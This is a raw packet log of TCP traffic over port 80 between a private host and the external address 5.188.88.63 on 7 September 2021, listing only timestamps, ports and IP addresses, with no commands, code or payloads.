Sep 7, 2021 16:02:39.253359079 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253387928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253420115 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253453970 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253485918 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253520012 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253557920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253597021 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253639936 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253679037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253680944 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.253715992 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253750086 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253783941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253786087 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.253791094 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.253793001 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.253794909 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.253797054 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.253798962 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.253801107 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.253803015 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.253822088 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253855944 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253887892 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253906965 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.253911972 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.253942013 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253984928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.254020929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.254059076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.254067898 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.254071951 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.254095078 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.254129887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.254170895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.254206896 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.254224062 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.254446030 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.254476070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.254520893 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.254549026 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.254569054 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.254585981 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.254589081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.254612923 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.254717112 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.254873991 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.254956007 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.255006075 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.255036116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.255050898 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.255188942 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.256378889 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.256422997 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.256445885 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.256485939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.256520033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.256540060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.256558895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.256577969 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.256622076 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.256642103 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.256645918 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.256648064 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.319911957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.319940090 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.319964886 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320018053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320039988 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.320046902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320064068 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.320080996 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320105076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320127010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320158005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320188999 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320211887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320219040 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.320231915 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.320233107 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320255995 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320277929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320291996 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.320297956 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.320329905 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320363998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320386887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320406914 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.320440054 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.320507050 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.320593119 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.321147919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321201086 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321228981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321270943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321314096 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321325064 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.321336985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321356058 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.321361065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321394920 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.321403980 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321472883 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321492910 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.321496010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321520090 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321559906 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321583033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321604967 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321613073 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.321626902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321647882 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321670055 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321682930 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.321691036 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.321691036 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321713924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321738005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321738958 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.321759939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321780920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321801901 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321822882 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321822882 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.321831942 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.321845055 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321867943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321882963 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.321912050 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321933985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321958065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321981907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.321981907 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.321995020 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.322027922 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.386066914 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386116982 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386149883 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386181116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386271954 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.386292934 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.386343002 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386372089 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386394978 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386462927 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.386482954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386524916 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386554003 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386580944 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386615992 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386640072 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.386646986 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.386646986 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386676073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386704922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386733055 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386737108 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.386759996 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386791945 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386801958 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.386815071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386837959 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386858940 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386881113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386902094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386924028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.386945963 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387006044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387085915 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387090921 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387104988 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387135983 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387178898 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387213945 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387244940 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387263060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387270927 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387295961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387324095 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387341022 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387351036 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387389898 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387418032 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387428999 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387447119 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387473106 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387478113 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387507915 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387538910 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387566090 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387571096 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387593985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387620926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387626886 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387646914 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387648106 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387675047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387725115 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387726068 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387765884 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387799978 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387830973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387859106 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387880087 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387886047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387887955 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387914896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387921095 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387943029 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387969971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.387973070 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.387996912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388031006 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388061047 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388062000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388067961 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388089895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388117075 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388145924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388171911 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388199091 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388201952 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388210058 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388240099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388272047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388283968 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388307095 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388338089 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388365030 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388384104 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388392925 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388403893 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388422012 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388448954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388475895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388483047 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388489962 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388511896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388537884 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388566017 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388593912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388613939 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388621092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388621092 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388648987 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388674974 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388696909 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388717890 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388720989 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388752937 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388783932 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388811111 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388839006 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388843060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388861895 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388887882 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388916969 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388943911 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388971090 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.388976097 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.388998985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389010906 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389043093 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389072895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389100075 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389117002 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389122963 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389127016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389156103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389183044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389216900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389240980 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389246941 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389247894 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389276028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389288902 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389303923 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389332056 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389353991 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389358044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389386892 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389415026 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389419079 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389450073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389482021 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389508009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389517069 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389523983 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389535904 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389563084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389575958 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389590025 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389616966 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389645100 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389682055 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389688969 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389703035 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389749050 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389784098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389815092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389822960 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389842987 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389872074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.389914989 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.389995098 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.457448959 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.457503080 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.457546949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.457582951 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.457603931 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.457659006 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.457700014 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.457722902 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.457741976 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.457746029 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.457783937 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.457840919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.457889080 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.457923889 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.457931995 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.457971096 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458010912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458024025 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.458051920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458089113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458089113 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.458131075 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458142996 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.458189011 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458233118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.458260059 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.458270073 CEST	49744	80	192.168.2.4	5.188.88.63
